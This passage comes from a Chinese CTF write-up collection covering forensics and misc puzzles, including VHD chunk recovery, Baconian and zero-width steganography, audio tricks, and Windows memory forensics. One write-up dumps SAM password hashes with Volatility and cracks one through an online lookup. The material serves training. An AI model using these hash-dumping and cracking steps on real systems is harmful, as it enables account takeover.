# !i.py\n\n\nimport struct\nfrom xixi import FAT32Parser\nfrom xixixi import Padding, picDepartList\n\n\ndef EncodePieces():\n global clusterList\n res = []\n Range = len(picDepartList) # 58\n # GetRandomClusterList(n) - Generate a random cluster list with length n\n clusterList = GetRandomClusterList(Range)\n\n\n for i in range(Range):\n if i != Range - 1:\n newCRC = struct.pack(\"<I\", clusterList[i+1])\n plainData = picDepartList[i][:-4] + newCRC\n else:\n plainData = picDepartList[i]\n\n\n # Show the first piece to him, hhh\n if i == 0:\n newPiece = plainData\n else:\n newPiece = ''\n key = clusterList[i] & 0xFE\n for j in plainData:\n newPiece += chr(ord(j) ^ key)\n # Padding() -- Fill to an integral multiple of 512 with \\xFF\n res.append(Padding(newPiece))\n return res\n
# !ixi.py\n\n\nimport struct\n\n\nclass FAT32Parser(object):\n def __init__(self, vhdFileName):\n with open(vhdFileName, 'rb') as f:\n self.diskData = f.read()\n self.DBR_off = self.GetDBRoff()\n self.newData = ''.join(self.diskData)\n\n\n def GetDBRoff(self):\n DPT_off = 0x1BE\n target = self.diskData[DPT_off+8:DPT_off+12]\n DBR_sector_off, = struct.unpack(\"<I\", target)\n return DBR_sector_off * 512\n\n\n def GetFAT1off(self):\n target = self.diskData[self.DBR_off+0xE:self.DBR_off+0x10]\n FAT1_sector_off, = struct.unpack(\"<H\", target)\n return self.DBR_off + FAT1_sector_off * 512\n\n\n def GetFATlength(self):\n target = self.diskData[self.DBR_off+0x24:self.DBR_off+0x28]\n FAT_sectors, = struct.unpack(\"<I\", target)\n return FAT_sectors * 512\n\n\n def GetRootoff(self):\n FAT_length = self.GetFATlength()\n FAT2_off = self.GetFAT1off() + FAT_length\n return FAT2_off + FAT_length\n\n\n def Cluster2FAToff(self, cluster):\n FAT1_off = self.GetFAT1off()\n return FAT1_off + cluster * 4\n\n\n def Cluster2DataOff(self, cluster):\n rootDir_off = self.GetRootoff()\n return rootDir_off + (cluster - 2) * 512\n
\u5206\u6790\u4e24\u4e2a\u6587\u4ef6\uff0c\u53ef\u4ee5\u5f97\u51fa\uff1a
!ixi.py\u4e2d\u7684\u7c7bFAT32Parser\uff0c\u53ef\u4ee5\u5bf9\u78c1\u76d8\u8fdb\u884c\u4e00\u7cfb\u5217\u64cd\u4f5c\u3002!i.py\u4e2d\u7684\u6587\u4ef6\u662f\u5bf9\u6587\u4ef6\u8fdb\u884c\u5206\u5757\u513f\u5904\u7406\uff0c\u5e76\u4e14\u56fe\u7247\u88ab\u5206\u4e3a\u4e8658\u5757\u513f\uff0c\u9664\u4e86\u7b2c\u4e00\u5757\u513f\u672a\u88ab\u52a0\u5bc6\u5916\uff0c\u5176\u4f59\u5757\u513f\u90fd\u8fdb\u884c\u4e86\u5982\u4e0b\u5904\u7406\uff1a
\u6bcf\u5757\u513f\u7684\u6700\u540e\u56db\u4f4d\uff0c\u5373CRC\u6821\u9a8c\u503c\u88ab\u66ff\u6362\u6210\u4e86\u4e0b\u4e00\u5757\u513f\u6240\u5728\u7684\u7c07\u53f7\u3002
\u9664\u7b2c\u4e00\u5757\u513f\u5916\uff0c\u5176\u4f59\u5757\u513f\u7684\u5185\u5bb9\u90fd\u4f1a\u4e0e\u8be5\u5757\u513f\u7684\u7c07\u53f7 & 0xFE\u6574\u4f53\u8fdb\u884c\u5f02\u6216\u3002
\u6240\u4ee5\u60f3\u8981\u53cd\u89e3\u56fe\u7247\u5757\u513f\uff0c\u9700\u8981\u5bf9\u6bcf\u4e2a\u5757\u513f\u5148\u8fdb\u884c\u5f02\u6216\u89e3\u5bc6\uff0c\u518d\u67e5\u770b\u540e\u56db\u4f4d\u5f97\u5230\u4e0b\u4e00\u5757\u513f\u7684\u7c07\u53f7\u3002
# -*- coding: utf-8 -*-\n# @Project: Hello Python!\n# @File : exp\n# @Author : Tr0jAn <Tr0jAn@birkenwald.cn>\n# @Date : 2020-11-22\nimport struct\nimport binascii\nfrom xixi import FAT32Parser\n\n\ndef read(n):\n global key\n binary = b''\n for i in vhd.read(n):\n binary += (i ^ (key & 0xFE)).to_bytes(length=1, byteorder='big', signed=False)\n return binary\n\n\nFAT = FAT32Parser(\"new.vhd\")\nvhd = open(\"new.vhd\", \"rb\")\nvhd.seek(0x27bae00) # \u5b9a\u4f4d\u78c1\u76d8\u4e2d\u56fe\u7247\u4f4d\u7f6e\nflag = open(\"flag.png\", \"wb\")\nflag.write(vhd.read(8)) # \u5199\u5165png\u5934\nkey = 0\nwhile True:\n d = read(8)\n length, cType = struct.unpack(\">I4s\", d)\n print(length, cType) # length\u4e3a\u6570\u636e\u957f\u5ea6\uff0ccType\u4e3a\u6570\u636e\u5757\u7c7b\u578b\n data = read(length)\n CRC = struct.unpack(\">I\", read(4))[0]\n print(CRC)\n rCRC = binascii.crc32(cType + data) & 0xffffffff\n print(rCRC)\n rDATA = struct.pack(\">I\", length) + cType + data + struct.pack(\">I\", rCRC)\n flag.write(rDATA)\n if CRC != rCRC: # CRC\u9519\u8bef\u7684IDAT\u6570\u636e\u5757\n b_endian = struct.pack(\">I\", CRC)\n clusterList = struct.unpack(\"<I\", b_endian)[0]\n print(clusterList)\n vhd.seek(FAT.Cluster2DataOff(clusterList))\n key = clusterList & 0xFE\n if cType == b\"IEND\":\n break\n
\u5bf9\u78c1\u76d8\u53cd\u89e3\u51faflag.png
"},{"location":"Writeup/General%20Skills/xixixi/#flag","title":"Flag","text":"
flag{0cfdd1ad80807da6c0413de606bb0ae4}
"},{"location":"Writeup/General%20Skills/xixixi/#reference","title":"Reference","text":"Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
"},{"location":"Writeup/General%20Skills/%E5%88%B0%E7%82%B9%E4%BA%86/","title":"\u5230\u70b9\u4e86","text":"Category: General Skills
Source: \u7965\u4e91\u676f2020
Author: unknown
Score: 40
"},{"location":"Writeup/General%20Skills/%E5%88%B0%E7%82%B9%E4%BA%86/#description","title":"Description","text":"\u6211\u90a3\u4e48\u591a\u9057\u61be\uff0c\u90a3\u4e48\u591a\u671f\u76fc\uff0c\u4f60\u77e5\u9053\u5417\uff08\u4e0b\u96e8\u718a\u732b\u5934
"},{"location":"Writeup/General%20Skills/%E5%88%B0%E7%82%B9%E4%BA%86/#solution","title":"Solution","text":"\u6253\u5f001.docx\u7684\u9690\u85cf\u6587\u5b57\uff0c\u770b\u5230\u7b2c\u4e8c\u4e2a\u6587\u6863\u5bc6\u7801\u7684\u63d0\u793a
\u200b
\u7206\u78342.docx\u7684\u5bc6\u7801\u5f97\u5230 20201024
\u8be5\u5bc6\u7801\u540c\u65f6\u4e5f\u662f\u8be5\u6587\u4ef6\u7684\u521b\u5efa\u65f6\u95f4
\u200b
\u8fdb\u51652.docx\u540ectrl+a\u5168\u9009
\u7136\u540e\u590d\u5236\u51fa\u6765\u53ef\u4ee5\u5f97\u5230\u4e00\u4e32\u57f9\u6839\u5bc6\u6587AABBAABBBAABBBAAAABBABBABABAAAAABBAAABBBBAABBBAABABABBAAABAAAABAABAABBABAAAAABAA
\u5728\u7ebf\u89e3\u5bc6\u5f97GOODNIGHTSWEETIE
\u200b
3.docx\u5f53\u538b\u7f29\u5305\u6253\u5f00\uff0c\u53d1\u73b04.zip\uff0c\u89e3\u538b\u5f97\u52304.bmp
\u200b
\u4f7f\u7528wbStego4\u5de5\u5177\u5904\u7406\u8be5bmp\u56fe\u7247
\u7b2c\u56db\u6b65\u7684\u89e3\u5bc6\u5bc6\u7801\u4e3a\u57f9\u6839\u89e3\u5bc6\u540e\u7684GOODNIGHTSWEETIE
\u7136\u540e\u4e0b\u4e00\u6b65\u751f\u6210flag.txt \u62ff\u5230flag
"},{"location":"Writeup/General%20Skills/%E5%88%B0%E7%82%B9%E4%BA%86/#flag","title":"Flag","text":"flag{2ec9405ac7bcfb16f5fd494bcf21337c}
"},{"location":"Writeup/General%20Skills/%E5%88%B0%E7%82%B9%E4%BA%86/#reference","title":"Reference","text":"Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
"},{"location":"Writeup/General%20Skills/%E5%B1%82%E5%B1%82%E5%8F%96%E8%AF%81/","title":"\u5c42\u5c42\u53d6\u8bc1","text":"Category: General Skills
Source: \u7965\u4e91\u676f2021
Author: unknown
Score: 10
"},{"location":"Writeup/General%20Skills/%E5%B1%82%E5%B1%82%E5%8F%96%E8%AF%81/#description","title":"Description","text":"\u9644\u4ef6\u4e0b\u8f7d \u63d0\u53d6\u7801\uff08GAME\uff09
\uff08\u672c\u9898\u9644\u4ef6\u8f83\u5927\uff09
"},{"location":"Writeup/General%20Skills/%E5%B1%82%E5%B1%82%E5%8F%96%E8%AF%81/#_2","title":"\u9898\u76ee\u63cf\u8ff0","text":"\u9898\u76ee\u7ed9\u6211\u4eec\u4e00\u4e2amemdump\u548c\u4e00\u4e2a\u78c1\u76d8\u6587\u4ef6\u3002
"},{"location":"Writeup/General%20Skills/%E5%B1%82%E5%B1%82%E5%8F%96%E8%AF%81/#_3","title":"\u6211\u7684\u89e3\u7b54","text":"\u53ef\u4ee5\u7528volatility\u770bmemdump\uff0cfilescan
\u548ccmdscan
\u53ef\u4ee5\u53d1\u73b0\u9898\u76ee\u662f\u7528\u4e86\u4e00\u4e2a\u53eb\u4f5cFTK Imager\u7684\u8f6f\u4ef6\u5f04\u51fa\u6765\u7684\u955c\u50cf\u3002
\u6211\u4eec\u5c1d\u8bd5\u7528DiskGenius\u6253\u5f00\u78c1\u76d8\u6587\u4ef6\uff0c\u5728\u684c\u9762\u5f97\u5230\u4e86\u4e2aflag.txt
\u3002\u3002
\u674e\u6c0f\u795e\u9b54\u604b
\u53ef\u80fd\u662f\u63d0\u793a\u8981\u4eff\u771f\uff0c\u4e5f\u6709\u53ef\u80fd\u662f\u5632\u8bbd\u3002\u5148\u4e0d\u7ba1\u4ed6\u3002\u4e0b\u9762\u8fd8\u6709\u4e2aBitLocker\u52a0\u5bc6\u7684\u5206\u533a
\u54df\uff1f
\u5c1d\u8bd5\u56de\u5230\u5185\u5b58\u53d6\u8bc1\uff0c\u7528filescan
\u627e\u5176\u4ed6\u6587\u4ef6\u4f46\u662f\u65e0\u679c\uff0c\u7528hivelist
\u4ee5\u53cahashdump
\u627e\u5230\u64cd\u4f5c\u7cfb\u7edf\u7684\u8d26\u53f7\u5bc6\u7801\uff1a
volatility -f \"memdump/memdump.mem\" --profile=Win7SP1x64 hivelist\nVolatility Foundation Volatility Framework 2.6\nVirtual Physical Name\n------------------ ------------------ ----\n0xfffff8a000ce7410 0x000000001a045410 \\SystemRoot\\System32\\Config\\SAM\n0xfffff8a000dcb010 0x0000000019482010 \\??\\C:\\Windows\\ServiceProfiles\\NetworkService\\NTUSER.DAT\n0xfffff8a000e5f010 0x00000000199c9010 \\??\\C:\\Windows\\ServiceProfiles\\LocalService\\NTUSER.DAT\n0xfffff8a0013f1010 0x000000000a8d3010 \\??\\C:\\Users\\XiaoMing\\ntuser.dat\n0xfffff8a001409010 0x000000000a56e010 \\??\\C:\\Users\\XiaoMing\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat\n0xfffff8a00605c010 0x000000003c087010 \\SystemRoot\\System32\\Config\\DEFAULT\n0xfffff8a00000f010 0x0000000022787010 [no name]\n0xfffff8a000024010 0x0000000023512010 \\REGISTRY\\MACHINE\\SYSTEM\n0xfffff8a000060410 0x00000000211d0410 \\REGISTRY\\MACHINE\\HARDWARE\n0xfffff8a0002bb010 0x000000003c017010 \\Device\\HarddiskVolume3\\Boot\\BCD\n0xfffff8a000334010 0x0000000000b83010 \\SystemRoot\\System32\\Config\\SOFTWARE\n0xfffff8a000c96010 0x0000000017104010 \\SystemRoot\\System32\\Config\\SECURITY\nvolatility -f \"memdump/memdump.mem\" --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a000ce7410\nVolatility Foundation Volatility Framework 2.6\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nXinSai:1000:aad3b435b51404eeaad3b435b51404ee:27caa41e7118fd4429d9b9cbd87aaa40:::\nXiaoMing:1001:aad3b435b51404eeaad3b435b51404ee:92efa7f9f2740956d51157f46521f941:::\n
\u7136\u540e\u53bbcmd5\u5c1d\u8bd5\u67e5\u8be2NTLM Hash\uff0c\u53d1\u73b0XiaoMing\u548cXinSai\u7684\u90fd\u67e5\u4e0d\u51fa\uff0c\u4f46\u662fAdministrator\u548cGuest\u7684\u90fd\u662f\u7a7a\u5bc6\u7801\u3002\uff08XiaoMing\u7684NTLM Hash\u5728cmd5\u4e2d\u662f\u4e00\u6761\u4ed8\u8d39\u8bb0\u5f55\uff09
\u56de\u5230\u78c1\u76d8\u4e2d\uff0c\u6211\u4eec\u518d\u7ffb\u4e00\u7ffb\uff0c\u53d1\u73b0\u78c1\u76d8\u4e2d\u53ef\u4ee5\u5728\\Users\\XiaoMing\\AppData\\Local\\Temp
\u91cc\u9762\u627e\u5230\u4e24\u4e2a\u6d41\u91cf\u5305\uff0c\u5176\u4e2d\u5728
wireshark_4D9DE10B-B9DF-4EFF-93CB-50C8BB2AF217_20200813223005_a03980.pcapng\n
\u8fd9\u4e2a\u6d41\u91cf\u5305\u91cc\u9762\u641cflag\u53d1\u73b0\u4e00\u4e2aUDP\u6d41\u91cc\u9762\u627e\u5230\u4e86flag.docx
\uff0c\u5b83\u5728\u4e00\u4e2aRAR\u538b\u7f29\u5305\u91cc\u9762\u3002
\u6211\u4eec\u5bfc\u51fa\u8fd9\u4e2aRAR\u538b\u7f29\u5305\uff0c\u4e0d\u8fc7\u5c1d\u8bd5\u89e3\u538b\u7684\u65f6\u5019\u8981\u5bc6\u7801\u3002
\u76f4\u63a5\u6253\u5f00\u8fd9\u4e2aRAR\u538b\u7f29\u5305\uff0c\u63d0\u793a\u538b\u7f29\u5305\u5bc6\u7801\u8ddf\u5f00\u673a\u5bc6\u7801\u76f8\u540c\u3002
\u53e6\u5916\uff0c\u78c1\u76d8\u684c\u9762\u4e0a\u63d0\u793a\u8981\u4eff\u771f\u6253\u5f00\uff0c\u6211\u4eec\u53ef\u4ee5\u628a\u4ed6\u90a3\u4e2a\u78c1\u76d8\u6587\u4ef6\u7528DiskGenius\u8f6c\u6210vmdk\uff0c\u518d\u7528vmware\u6253\u5f00\u3002
\u53ef\u4ee5\u8fdb\u5165\u5230\u6b22\u8fce\u9875\u9762\uff0c\u4f46\u662f\u65e0\u8bba\u4ee5\u8d26\u6237XiaoMing\u8fd8\u662fXinSai(xm)\u8fdb\u5165\u7cfb\u7edf\u90fd\u8981\u767b\u5f55\u5bc6\u7801\u3002
\u505a\u5230\u8fd9\u91cc\uff0c\u73b0\u5728\u6709\u4e24\u4e2a\u672a\u77e5\uff1aBitLocker\u7684\u5bc6\u7801\u548c\u7cfb\u7edf\u7684\u767b\u9646\u5bc6\u7801\uff08\u63d0\u793a\u548c\u538b\u7f29\u5305\u5bc6\u7801\u4e00\u6837\uff09
\u6211\u4eec\u5c1d\u8bd5cmd5\u91cc\u9762\u4ed8\u8d39\u67e5\u8be2\u90a3\u4e2aXiaoMing\u7684NTLM Hash\u8bb0\u5f55\u3002\u67e5\u5f97\u4e3a\uff1a
xiaoming_handsome\n
\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u5f00\u673a\u5bc6\u7801\uff0c\u548c\u538b\u7f29\u5305\u7684\u89e3\u538b\u5bc6\u7801\u3002
\u5c1d\u8bd5\u628a\u538b\u7f29\u5305\u89e3\u538b\u51fa\u6765\uff0c\u7ed3\u679c\u89e3\u538b\u51fa\u6765\u4e86flag.docx
\u6587\u4ef6\uff0c\u4f46\u662f\u53d1\u73b0flag.docx
\u4e5f\u662f\u9700\u8981\u5bc6\u7801\u624d\u80fd\u6253\u5f00\u7684\u3002
VMware\u4e2d\u53ef\u4ee5\u8f93\u5bc6\u7801\u8fdb\u7cfb\u7edf\uff0c\u5f15\u5165\u773c\u5e18\u7684\u4e3a\u5982\u4e0bWindows 7\u4fbf\u7b3a\uff1a
\u90a3\u4f60\u4e3a\u4ec0\u4e48\u4e0d\u5e72\u8106\u4e00\u7801\u901a\u5f97\u4e86
\u6211\u4eec\u731c\u6d4b\u662f\u6709\u5176\u4ed6\u7684Windows 7\u4fbf\u7b3a\uff0c\u6240\u4ee5\u67e5\u770b\u4fbf\u7b3a\u5b58\u653e\u5728\u78c1\u76d8\u4e2d\u7684\u8def\u5f84\uff1a
https://answers.microsoft.com/zh-hans/windows/forum/all/windows-7-%E4%BE%BF%E7%AC%BA/0712dba1-9349-e011-8dfc-68b599b31bf5
\u641c\u5230\u8def\u5f84\u540e\uff0c\u590d\u5236\u51fa\u6765\uff0c\u62d6\u8fdb010 Editor\u67e5\u770b\uff1a
Aw\u524d\u7f00
\u8fd9\u91cc\u5927\u6982\u5c31\u662f\u684c\u9762\u4e0a\u6211\u4eec\u80fd\u770b\u5230\u7684\u90a3\u4e2a\u4fbf\u7b3a\u4e0a\u7684\u5185\u5bb9\uff0c\u518d\u5f80\u4e0b\u4e00\u70b9\u70b9\uff1a
word
\u770b\u5230word\uff0c\u7136\u540e\u4e0b\u9762\u5c31\u662fxiaoming1314
\uff0c\u731c\u6d4b\u662fflag.docx
\u7684\u5bc6\u7801\uff0c\u5c1d\u8bd5\u540e\u53d1\u73b0\u6b63\u786e\uff0c\u5e76\u5229\u7528\u5176\u6253\u5f00flag.docx
\u4fbf\u5f97\u5230flag\u3002
flag{9ca871b668f2-b668-097c-cbm8-9op404c891e2}\n
"},{"location":"Writeup/General%20Skills/%E5%B1%82%E5%B1%82%E5%8F%96%E8%AF%81/#reference","title":"Reference","text":"Writeup from https://zhuanlan.zhihu.com/p/402713931
"},{"location":"Writeup/General%20Skills/%E5%B8%A6%E9%9F%B3%E4%B9%90%E5%AE%B6/","title":"\u5e26\u97f3\u4e50\u5bb6","text":"Category: General Skills
Source: \u7965\u4e91\u676f2020
Author: unknown
Score: 20
"},{"location":"Writeup/General%20Skills/%E5%B8%A6%E9%9F%B3%E4%B9%90%E5%AE%B6/#description","title":"Description","text":"\u54aa\u6793\u5d03\u772f\uff0c\u97f3\u4e50\u592a\u597d\u542c\u4e86\u3002\u6211\u4e5f\u8981\u521b\u4f5c\u4e00\u66f2\u3002
"},{"location":"Writeup/General%20Skills/%E5%B8%A6%E9%9F%B3%E4%B9%90%E5%AE%B6/#solution","title":"Solution","text":"\u62ff\u5230\u624b\u5148file\u770b\u4e00\u4e0bdecode_it\u7684\u7c7b\u578b
\u200b
\u53d1\u73b0\u662f\u6807\u51c6\u7684midi\u7684\u6e90\u6587\u4ef6\uff0c\u4f46\u662f\u4e0d\u80fd\u4ee5\u5143\u6570\u636e\u7684\u5f62\u5f0f\u5bfc\u5165\u5230au\uff0c\u5bfc\u5165\u5e93\u4e50\u961f\u65f6\u542c\u5176\u4e2d\u4e00\u4e2a\u97f3\u8f68\u7684\u58f0\u97f3\uff0c\u4e5f\u6ca1\u6709\u4ec0\u4e48\u95ee\u9898\u3002\u5e76\u4e14\u6ce2\u5f62\u56fe\u4e5f\u4e0d\u5177\u5907\u89c4\u5f8b\u3002
\u4e8e\u662f\u60f3\u8d77velato\u8fd9\u4e2a\u5947\u8469\u7684\u7f16\u7a0b\u8bed\u8a00\uff0c\u8fd9\u4e2a\u7f16\u7a0b\u8bed\u8a00\u4e3b\u8981\u662f\u91c7\u7528\u4e86\u6240\u8c13\u7684\u97f3\u7b26\u7f16\u7a0b\uff0c\u53ef\u4ee5\u5230\u5b98\u7f51\u770b\u4e00\u4e0b\u624b\u518c\uff0c\u8fd9\u91cc\u76f4\u63a5\u4e0b\u8f7d\u7f16\u8bd1\u5668\uff0c\u5c1d\u8bd5\u7f16\u8bd1decode_it\uff0c\u770b\u770b\u6709\u5565
\u6210\u529f\u7f16\u8bd1\uff0c\u8fd0\u884cdecode_it.exe\uff0c\u5e94\u8be5\u662fword\u7684\u538b\u7f29\u5305\u5bc6\u7801
\u6210\u529f\u89e3\u538b\u538b\u7f29\u5305\u83b7\u5f97word\uff0c\u663e\u793a\u9690\u85cf\u5b57\u7b26\uff0c\u53ef\u4ee5\u770b\u5230\u91cc\u9762\u7684\u56fe\u7247\u548c\u4e00\u4e32\u5bc6\u6587
\u56fe\u7247\u662f\u7cbe\u7075\u8bed\uff0c\u53c2\u7167\u7ffb\u8bd1\u8868\u5373\u53ef\u7ffb\u8bd1\u51faFLAGIS\uff0c\u90a3\u4e48\u540e\u9762\u90a3\u6bb5\u5bc6\u6587\u5e94\u8be5\u5c31\u662fflag\u7684\u5bc6\u6587\u4e86
\u8fd9\u65f6\u5173\u6ce8\u5230rar\u538b\u7f29\u5305\u7684\u6ce8\u91ca\u90e8\u5206
\u200b
\u53d1\u73b0\u7531\u7a7a\u683c\u5b57\u7b26\u548ctab\u5b57\u7b26\u7ec4\u6210\uff0c\u5c06\u7a7a\u683c\u5b57\u7b26\u66ff\u6362\u6210 . \uff0ctab\u5b57\u7b26\u66ff\u6362\u6210- \u6469\u65af\u89e3\u5bc6\u5373\u53ef
\u200b
\u5df2\u77e5AES\u5bc6\u6587\u548ckey \u5728\u7ebf\u89e3\u5bc6\u5f97\u5230flag
"},{"location":"Writeup/General%20Skills/%E5%B8%A6%E9%9F%B3%E4%B9%90%E5%AE%B6/#flag","title":"Flag","text":"flag{mU51c_And_ch@ract0rs~}
"},{"location":"Writeup/General%20Skills/%E5%B8%A6%E9%9F%B3%E4%B9%90%E5%AE%B6/#reference","title":"Reference","text":"Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
"},{"location":"Writeup/General%20Skills/%E8%80%83%E5%8F%A4/","title":"\u8003\u53e4","text":"Category: General Skills
Source: \u7965\u4e91\u676f2021
Author: unknown
Score: 15
"},{"location":"Writeup/General%20Skills/%E8%80%83%E5%8F%A4/#description","title":"Description","text":"\u5c0f\u660e\u5728\u5bb6\u91cc\u7ffb\u5230\u4e00\u53f0\u5f88\u53e4\u8001\u7684xp\u7b14\u8bb0\u672c\uff0c\u6362\u7535\u6c60\u4e4b\u540e\u53d1\u73b0\u53ef\u4ee5\u6b63\u5e38\u5f00\u673a\uff0c\u4f46\u662f\u53d1\u73b0\u786c\u76d8\u7a7a\u95f4\u4e0d\u8db3\u3002\u6e05\u7406\u8fc7\u7a0b\u4e2d\u5374\u53d1\u751f\u4e86\u4e00\u4e9b\u4e0d\u6109\u5feb\u7684\u4e8b\u60c5...
zip
"},{"location":"Writeup/General%20Skills/%E8%80%83%E5%8F%A4/#solution","title":"Solution","text":"Windows system image forensics.
The given memory file is a Windows XP SP3 image file.
Using volatility
to find information in the image, the followings are important:
1. consoles\n Gives some information about hacked by 1cepeak.\n2. pslist\n Find 2 processes, Oneclickcleanup & DumpIt\n3. filescan\n Find the Oneclickcleanup.exe\n
We should know that DumpIt
is the process used to create system image, and this is not related to the solution.
Then we should reverse Oneclickcleanup.exe
and find the next step.
First, we find a key this_a_key
. The process uses this key to encrypt data.
We get yet another file using reverse.
The given file is a doc
file with MS Word 6.0
. An old version of document. After the scan and analysis, no macro is found in the doc file, and as well as the hidden character.
After struggling several hours, I happened checked the xor brute force
of the file, and I found something interesting.
This part of the document can be xor
using key 0x2d
and gives the flag.
flag{8bedfdbb-ba42-43d1-858c-c2a5-5012d309}
"},{"location":"Writeup/General%20Skills/%E8%80%83%E5%8F%A4/#reference","title":"Reference","text":"Writeup by Enderaoe Lyther
"},{"location":"Writeup/General%20Skills/%E8%BF%9B%E5%88%B6%E5%8F%8D%E8%BD%AC/","title":"\u8fdb\u5236\u53cd\u8f6c","text":"Category: General Skills
Source: \u7965\u4e91\u676f2020
Author: unknown
Score: 40
"},{"location":"Writeup/General%20Skills/%E8%BF%9B%E5%88%B6%E5%8F%8D%E8%BD%AC/#description","title":"Description","text":"\u7535\u8111\u4e2d\u5230\u5e95\u4f7f\u7528\u7684\u662f\u4ec0\u4e48\u8fdb\u5236\u5462\uff1f\u771f\u662f\u9ebb\u70e6\uff0c\u6709\u65f6\u5019\u8fd8\u662f\u624b\u673a\u597d\u7528\u3002
\u7ed3\u679c\u7528flag{}\u5305\u4f4f\uff0c\u5e76\u4e14\u5168\u4e3a\u5927\u5199
"},{"location":"Writeup/General%20Skills/%E8%BF%9B%E5%88%B6%E5%8F%8D%E8%BD%AC/#solution","title":"Solution","text":"\u4e0b\u53d1\u7684\u6587\u4ef6\u663e\u793a\u635f\u574f\u65e0\u6cd5\u6253\u5f00\uff0c\u4f46\u662f\u624b\u673a\u53ef\u4ee5\u6b63\u5e38\u6253\u5f00\uff0c010edit\u6253\u5f00\u663e\u793aCRC\u9519\u8bef\uff0c\u4fee\u6539\u540e\u63d0\u793a\u9700\u8981\u5bc6\u7801\u89e3\u5bc6\uff0c\u4f46\u662f\u7206\u7834rar\u672a\u679c\uff0c\u4e8e\u662f\u60f3\u8d77\u6765\u53ef\u80fd\u662frar\u538b\u7f29\u4f2a\u52a0\u5bc6\uff0c\u5c1d\u8bd5\u4fee\u6539
\u56fe\u793a\u6807\u8bb0\u4f4d\u7f6e\u7684D4\u4fee\u6539\u4e3aD0\u5373\u53ef\u89e3\u538b
\u200b
\u4fee\u6539\u540e\u5373\u53ef\u89e3\u538b\u5f97\u5230flag.wav
\u91cc\u9762\u662fflag.wav\uff0c\u4ee5\u5143\u6570\u636e\u7684\u6a21\u5f0f\u5bfc\u5165au\u5229\u7528AU\u8fdb\u884c\u97f3\u9891\u53cd\u8f6c\uff0c\u5f97\u5230\u4e00\u6bb5\u52c9\u5f3a\u80fd\u542c\u7684\u97f3\u9891\uff0c
\u200b
0.5\u500d\u901f\u64ad\u653e\u540e\u4f7f\u7528qq\u97f3\u4e50\u542c\u6b4c\u8bc6\u66f2\uff0c\u5f97\u77e5\u662fToo Good At Goodbyes
"},{"location":"Writeup/General%20Skills/%E8%BF%9B%E5%88%B6%E5%8F%8D%E8%BD%AC/#flag","title":"Flag","text":"flag{TOOGOODATGOODBYES}
"},{"location":"Writeup/General%20Skills/%E8%BF%9B%E5%88%B6%E5%8F%8D%E8%BD%AC/#reference","title":"Reference","text":"Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
"},{"location":"Writeup/General%20Skills/%E9%B8%A3%E9%9B%8F%E6%81%8B/","title":"\u9e23\u96cf\u604b","text":"Category: General Skills
Source: \u7965\u4e91\u676f2021
Author: unknown
Score: 5
"},{"location":"Writeup/General%20Skills/%E9%B8%A3%E9%9B%8F%E6%81%8B/#description","title":"Description","text":"\u5728\u559c\u6b22\u7684\u4eba\u9762\u524d,\u6211\u53ef\u4e0d\u80fd\u2026\u2026\u4e22\u8138\u554a\u2026\u2026\u56e0\u4e3a\u6211,\u559c\u6b22\u9e23\u4eba\u541b\u2026\u2026\u2026\u2026
zip
"},{"location":"Writeup/General%20Skills/%E9%B8%A3%E9%9B%8F%E6%81%8B/#_2","title":"\u9898\u76ee\u63cf\u8ff0","text":"\u9898\u76ee\u7ed9\u4e86\u6211\u4eec\u4e00\u4e2adocx\uff0c\u4f46\u662f\u53cc\u51fb\u6253\u4e0d\u5f00\u3002
"},{"location":"Writeup/General%20Skills/%E9%B8%A3%E9%9B%8F%E6%81%8B/#_3","title":"\u6211\u7684\u89e3\u7b54","text":"\u9996\u5148\u540e\u7f00\u6539zip\u89e3\u538b\u4e4b\uff0c\u53d1\u73b0_rels
\u6587\u4ef6\u5939\u4e0b\u6709\u4e1c\u897f\uff1akey.txt
\u548c\u4e00\u4e2aZIP\u538b\u7f29\u5305\u3002
\u5c06key.txt
\u62d6\u5165010 editor\u53d1\u73b0\u540e\u9762E2 80 8D
\u548cE2 80 8C
\u51fa\u73b0\u7684\u6700\u591a\uff0c\u731c\u6d4b\u662f\u96f6\u5bbd\u9690\u5199\uff1a
https://330k.github.io/misc_tools/unicode_steganography.html
\u5c06key.txt\u4e2d\u5185\u5bb9\u5168\u9009\u5e76\u590d\u5236\uff0c\u7c98\u8d34\u8fdb\u53bb\u89e3\u7801\u5c31\u6709\u5bc6\u7801\uff1a
Because I like naruto best\n
\u5229\u7528\u8fd9\u4e2a\u5bc6\u7801\u5c06ZIP\u538b\u7f29\u5305\u89e3\u538b\u4e4b\u540e\u662f\u5f88\u591a\u9e23\u4eba\u548c\u96cf\u7530\u7684\u5934\u50cf\uff0c\u800c\u4e14\u4ece\u524d\u9762\u7684\u6587\u4ef6\u4e0a\u6765\u770b\uff0c\u5e94\u8be5\u662f\u6309\u7167\u6570\u5b57\u987a\u5e8f\uff0c\u6bcf8\u4e2a\u4e00byte\uff0c\u96cf\u75300\uff0c\u9e23\u4eba1\u3002\u5982\u679c\u8fd9\u6837\u505a\u7684\u8bdd\uff0c\u89e3\u51fa\u524d\u4e09\u4e2a\u5b57\u6bcd\u662fdat
\u3002\u5199\u811a\u672c\u89e3\u51fa\uff0c\u53d1\u73b0\u524d\u9762\u4e3a
data:image/png;base64,\n
\u5c06\u540e\u9762\u7684\u5185\u5bb9base64\u89e3\u7801\u4e4b\u540e\u5199\u5230PNG\u6587\u4ef6\uff0c\u5c31\u80fd\u770b\u5230flag\u3002
\u8981\u773c\u529b\u770b
\u811a\u672c\u5982\u4e0b\uff1a
